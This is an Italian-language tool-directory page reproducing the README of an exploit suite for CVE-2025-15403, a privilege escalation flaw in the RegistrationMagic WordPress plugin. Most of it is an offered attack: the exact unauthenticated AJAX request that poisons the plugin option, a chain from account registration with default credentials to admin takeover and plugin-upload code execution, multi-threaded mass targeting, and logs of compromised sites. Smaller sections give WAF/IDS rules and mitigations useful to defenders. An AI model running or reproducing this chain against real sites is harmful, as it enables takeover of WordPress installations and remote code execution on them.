Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - Escalation dei privilegi non autenticata tramite admin_order | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2025-15403
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingRed TeamingSviluppo Payload
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Escalation dei privilegi non autenticata tramite admin_order

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Escalation dei Privilegi non Autenticata tramite admin_order

root@kitploit:~
 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 Le informazioni arrivano qui per prime. Segui @KNxploited su Telegram — divulgazioni CVE di precisione, exploit funzionanti e ricerca approfondita sulle vulnerabilità. Il canale per chi non aspetta le notizie — le crea.


🧠 Panoramica

CVE-2025-15403 è una vulnerabilità di Escalation dei Privilegi CVSS 9.8 Critica nel plugin RegistrationMagic per WordPress.

Il difetto risiede nella funzione add_menu del plugin, esposta senza autenticazione tramite l'azione AJAX rm_user_exists. Iniettando uno slug vuoto nel parametro order insieme al flag enable_admin_order=yes, un attaccante manipola la logica interna di generazione del menu del plugin. Quando il menu di amministrazione viene successivamente costruito, il plugin chiama silenziosamente add_cap('manage_options') sul ruolo target — elevando qualsiasi account di livello abbonato a piena capacità amministrativa.


💀 Analisi Approfondita della Vulnerabilità

La causa principale è che la funzione add_menu è raggiungibile senza autenticazione tramite rm_user_exists, combinata con l'assenza di validazione dello slug admin_order:

root@kitploit:~
// Registrata senza controllo di capacità
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← Controllato dall'utente, NON sanitizzato
    $role_key = /* derivato da POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Memorizza l'order controllato dall'attaccante nelle opzioni del plugin
        update_option('rm_admin_order', $order);  // es. ",menu1" → primo slug vuoto
    }
}

// Successivamente, quando viene costruito il menu admin...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Avvelenato dall'attaccante
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Slug vuoto attiva la concessione incondizionata di capacità
            $role->add_cap('manage_options');  // ← CAPACITÀ ADMIN COMPLETA AGGIUNTA
        }
    }
}

Perché è critico:

  • wp_ajax_nopriv_* = zero autenticazione necessaria per avvelenare l'opzione
  • Lo slug vuoto in order=,menu1 supera il controllo empty(), attivando add_cap('manage_options')
  • manage_options è la capacità più alta di WordPress — equivalente ad Amministratore
  • Qualsiasi account abbonato esistente ottiene immediatamente diritti di amministratore al successivo caricamento del menu admin
  • La fase AJAX non richiede autenticazione preventiva — rendendo l'intera catena a barriera quasi zero

⚔️ Catena di Sfruttamento

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════╗
║  FASE 1 — Avvelenamento dell'Opzione non Autenticato                     ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← primo elemento vuoto = slug vuoto
  _Subscriber       = 1                  ← chiave ruolo target
  restore           = false
  enable_admin_order= yes

Risposta: HTTP 200 (qualsiasi risposta non bloccata = opzione avvelenata)

  ↓ Il plugin memorizza order=",menu1" in wp_options
  ↓ Al successivo caricamento del menu admin, add_cap('manage_options') viene attivato sul ruolo Abbonato

╔══════════════════════════════════════════════════════════════════════════╗
║  FASE 2 — Acquisizione dell'Account (Abbonato)                           ║
╚══════════════════════════════════════════════════════════════════════════╝

Opzione A — Registrati tramite il form di registrazione del sito (Modalità 0):
  GET  /wp-login.php?action=register  → rilevamento intelligente del form
  POST → crea account abbonato
  Credenziali: NXploited / xplpass123

Opzione B — Usa un account abbonato esistente.

╔══════════════════════════════════════════════════════════════════════════╗
║  FASE 3 — Login + Raccolta delle Capacità                                ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
L'account Abbonato ora possiede manage_options → pannello admin completamente accessibile

╔══════════════════════════════════════════════════════════════════════════╗
║  FASE 4 — Verifica Approfondita e RCE tramite Caricamento Plugin        ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → Dashboard admin accessibile ✔️
GET  /wp-admin/plugin-install.php        → Pagina installazione plugin accessibile ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → Plugin caricato ed eseguito ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     La risposta contiene "Nxploited"    → RCE CONFERMATO ✔️

🎯 Modalità Operative

Questa suite di exploit fornisce tre modalità distinte per coprire l'intero ciclo di vita dell'attacco:


⚙️ Requisiti

root@kitploit:~
pip install requests colorama urllib3

Python 3.8+ richiesto. Python 3.10+ consigliato (usa suggerimenti di tipo unione X | Y).


📂 Struttura dei File

root@kitploit:~
CVE-2025-15403/
├── CVE-2025-15403.py                 # Suite principale di exploit
├── list.txt                          # URL target — uno per riga
│
├── rm_register_results.txt           # Modalità 0: registrazioni riuscite
├── rm_exploit_results.txt            # Modalità 1 e 2: log primitiva eseguita
├── rm_admin_verify.txt               # Modalità 2: log login + verifica admin
├── rm_plugin_uploads.txt             # Modalità 2: log tentativo caricamento plugin
│
├── rm_admin_dashboard_success.txt    # ✔ Siti dove la dashboard admin è stata confermata
├── rm_plugin_install_access.txt      # ✔ Siti dove la pagina plugin-install è accessibile
└── rm_plugin_rce_success.txt         # ✔ Siti dove RCE tramite caricamento plugin è confermato

I tre file _success in basso rappresentano livelli di compromissione graduati — ciascuno viene scritto indipendentemente non appena la sua condizione è confermata.


🚀 Utilizzo

Passo 1 — Preparare i Target

Crea list.txt con un URL o hostname per riga:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com

I nomi host senza schema vengono automaticamente preceduti da https://. Le installazioni di WordPress in sottodirectory (es. /wordpress) vengono rilevate e gestite automaticamente.


Passo 2 — Esegui la Suite

root@kitploit:~
python CVE-2025-15403.py

Verranno richiesti interattivamente tutti i parametri. Esempio di sessione per Modalità 2:

root@kitploit:~
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes

Passo 3 — Monitora l'Output in Tempo Reale

root@kitploit:~
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK   | REG: SKIP | LOGIN: OK   | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK   | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: -    | ACCESS: NO HIT

📊 Riferimento File di Output

rm_admin_dashboard_success.txt

Siti dove l'account abbonato ha accesso a /wp-admin/ dopo l'escalation dei privilegi:

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard

rm_plugin_install_access.txt

Siti dove la pagina plugin-install era accessibile (conferma di manage_options):

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access

rm_plugin_rce_success.txt

Siti dove un plugin di test è stato caricato ed eseguito — RCE confermato:

root@kitploit:~
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload

🖥️ Riferimento Parametri dello Script


🔬 Logica di Verifica (Modalità 2)

La Modalità 2 esegue una verifica graduale a tre stadi — ogni stadio è indipendente e scrive il proprio file di risultato:

root@kitploit:~
Stadio 1 — Dashboard Admin
  GET /wp-admin/
  GET /wp-admin/index.php
  GET /wp-admin/users.php
  Controlla: "dashboard", "adminmenu", "manage_options", "plugins.php"
  ✔ → scrive in rm_admin_dashboard_success.txt

Stadio 2 — Accesso Pagina Installazione Plugin
  GET /wp-admin/plugin-install.php
  GET /wp-admin/plugin-install.php?tab=upload
  Controlla: "upload-plugin", "plugin-upload-form", "pluginzip"
  ✔ → scrive in rm_plugin_install_access.txt

Stadio 3 — Caricamento ed Esecuzione Reale Plugin (Prova RCE)
  Estrai _wpnonce dalla pagina plugin-install
  POST /wp-admin/update.php?action=upload-plugin
       pluginzip = Nxploited.zip (generato in memoria)
  GET  /wp-content/plugins/Nxploited/hello.php
  Controlla che il corpo della risposta contenga "Nxploited"
  ✔ → scrive in rm_plugin_rce_success.txt

Ogni stadio che supera viene registrato indipendentemente — un target che supera lo Stadio 1 ma non lo Stadio 3 viene comunque catturato in rm_admin_dashboard_success.txt.


🔍 Motore di Registrazione Intelligente (Modalità 0)

La Modalità 0 utilizza un parser HTML personalizzato per rilevare automaticamente e inviare i form di registrazione WordPress — inclusi i form personalizzati di RegistrationMagic:

root@kitploit:~
Probe URL (in ordine):
  /wp-login.php?action=register
  /register/
  /signup/
  /wp-signup.php
  /wp-login.php

Per ogni pagina:
  → Analizza tutti gli elementi <form>
  → Assegna un punteggio a ciascun form (0–200 punti):
      +100  campi "user_login" + "user_email" presenti
      + 60  Campi simili a email + username presenti
      + 30  Campi di input con prefisso rm_* (specifici di RegistrationMagic)
      + 20  id/class del form contiene "register" / "signup"
      + 10  Il corpo della pagina menziona "register" / "sign up"
  → Invia il form con punteggio più alto (soglia: 40+)
  → Verifica il successo tramite corpo della risposta / URL di reindirizzamento

📊 Firma di Rilevamento

Pattern di rete generato dall'exploit — per difensori e autori di WAF/IDS:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes

Regola WAF / IDS (Pseudocodice):

root@kitploit:~
IF  request.method == POST
AND request.path   == "/wp-admin/admin-ajax.php"
AND request.body   CONTAINS "rm_user_exists"
AND request.body   CONTAINS "rm_options_admin_menu"
AND request.body   CONTAINS "enable_admin_order=yes"
THEN BLOC + ALLARMA (Tentativo di Escalation dei Privilegi — CVE-2025-15403)

Rilevamento aggiuntivo — Avvelenamento Opzione:

root@kitploit:~
Monitora tabella wp_options:
  IF option_name = "rm_admin_order"
  AND option_value INIZIA CON ","
  THEN ALLARMA — potenziale sfruttamento di CVE-2025-15403

🛡️ Mitigazione e Rimedi

Se sei un proprietario del sito, sviluppatore o difensore, agisci immediatamente:

  • ✅ Aggiorna RegistrationMagic a una versione superiore alla 6.0.7.1
  • ✅ Disattiva ed elimina il plugin finché non sarà disponibile una versione patchata confermata
  • ✅ Controlla la tabella wp_options — verifica il valore di rm_admin_order per voci sospette (es. che iniziano con ,)
  • ✅ Controlla tutti gli utenti WordPress — rimuovi o declassa eventuali account non autorizzati con capacità manage_options
  • ✅ Aggiungi controlli di capacità a tutti i gestori wp_ajax_nopriv_* — non esporre mai funzioni di scrittura opzioni senza autenticazione
  • ✅ Convalida e sanifica il parametro order — rifiuta valori contenenti segmenti di slug vuoti
  • ✅ Blocca le richieste POST non autenticate a admin-ajax.php contenenti rm_options_admin_menu a livello WAF
  • ✅ Monitora i log di WordPress e del server per chiamate all'azione AJAX rm_user_exists da fonti non autenticate

⚠️ Disclaimer

root@kitploit:~
QUESTO STRUMENTO È FORNITO STRETTAMENTE SOLO PER SCOPI EDUCATIVI,
DI PENETRATION TEST AUTORIZZATO E RICERCA SULLA SICUREZZA.

Scaricando, eseguendo o modificando questo script, accetti esplicitamente:

  • Di avere l'AUTORIZZAZIONE ESPLICITA E SCRITTA del proprietario di ogni
    sistema target che testi. Nessuna eccezione. Nessuna supposizione.

  • Di operare nell'ambito di un engagement di penetration test formalmente
    autorizzato e circoscritto o di un ambiente di laboratorio controllato di
    tua proprietà.

  • Di NON utilizzare questo strumento contro alcun sistema, rete o
    infrastruttura senza autorizzazione legale documentata.

  • Nxploited e tutti i contributori NON si assumono ALCUNA responsabilità
    per uso non autorizzato, perdita di dati, danni al sistema, procedimenti
    legali o azioni penali derivanti dall'uso di questo strumento in qualsiasi
    forma.

L'uso non autorizzato di questo exploit costituisce reato penale ai sensi di:
  — Computer Fraud and Abuse Act (CFAA), USA
  — Computer Misuse Act (CMA), Regno Unito
  — Direttiva UE 2013/40/UE sugli attacchi ai sistemi informativi
  — Legge anticrimine informatico dell'Arabia Saudita (N. M/17)
  — E tutte le equivalenti legislazioni nazionali e internazionali sul crimine informatico.

USA IN MODO RESPONSABILE. HACK IN MODO ETICO. DIVULGA IN MODO RESPONSABILE.

👤 Autore

HandleNxploited
Telegram@KNxploited
GitHubgithub.com/Nxploited

🔔 Segui @KNxploited su Telegram Nuove CVE. Exploit funzionanti. Nessun rumore. Nessun ritardo. Il canale dove i ricercatori seri rimangono affilati.


Progettato con precisione da Nxploited · Solo per ricerca di sicurezza autorizzata · CVSS 9.8 Critico
Scarica lo strumento
CampoDettagli
CVE IDCVE-2025-15403
PluginRegistrationMagic
Slugregistrationmagic / custom-registration-form-builder-with-submission-manager
Versioni AffetteTutte le versioni fino alla 6.0.7.1 inclusa
Tipo di vulnerabilitàEscalation dei Privilegi non Autenticata
Requisito dell'attaccoFase AJAX: Nessuna. Sfruttamento: Account Abbonato
Vettore d'attaccoRete
Punteggio CVSS 3.19.8 CRITICAL
Vettore CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ImpattoAcquisizione Completa dell'Amministratore WordPress
RicercatoreNxploited
ModalitàNomeDescrizione
0Solo RegistrazioneRilevamento intelligente del form WordPress + registrazione account abbonato
1Solo ExploitScatena la primitiva AJAX non autenticata per avvelenare admin_order
2Exploit + Login + VerificaCatena completa: primitiva → login → dashboard admin → installazione plugin → RCE
DipendenzaScopo
requestsSessioni HTTP, gestione cookie, tracciamento reindirizzamenti
coloramaOutput terminale colorato multipiattaforma
urllib3Soppressione avvisi SSL per certificati autofirmati
concurrent.futuresPool di thread per scansione multi-target ad alto rendimento
zipfileGenerazione in memoria di ZIP plugin di test per verifica RCE
html.parserRilevamento intelligente form di registrazione ed estrazione campi
ColoreTagSignificato
🔵 CianoinfoInformativo — avvio modalità, configurazione
🟢 VerdeokSuccesso completo — accesso admin o RCE confermato
🟡 GiallowarnRisultato parziale — primitiva OK ma login fallito, ecc.
🔴 RossoerrFallimento grave — file non trovato, eccezione, bloccato
ParametroDefaultDescrizione
Modalità0Modalità d'attacco: 0 = Register, 1 = Exploit, 2 = Full Chain
File targetlist.txtFile contenente gli URL target
Thread5 (nessun max)Worker del ThreadPoolExecutor concorrenti
Timeout10 secondiTimeout per richiesta HTTP
Chiave ruolo_SubscriberRuolo WordPress da escalare (_Editor, _Author, ecc.)
UsernameNXploitedAccount con cui registrarsi / fare login
Passwordxplpass123Password per l'account
Invia primitivayesSe inviare la fase AJAX prima del login in Modalità 2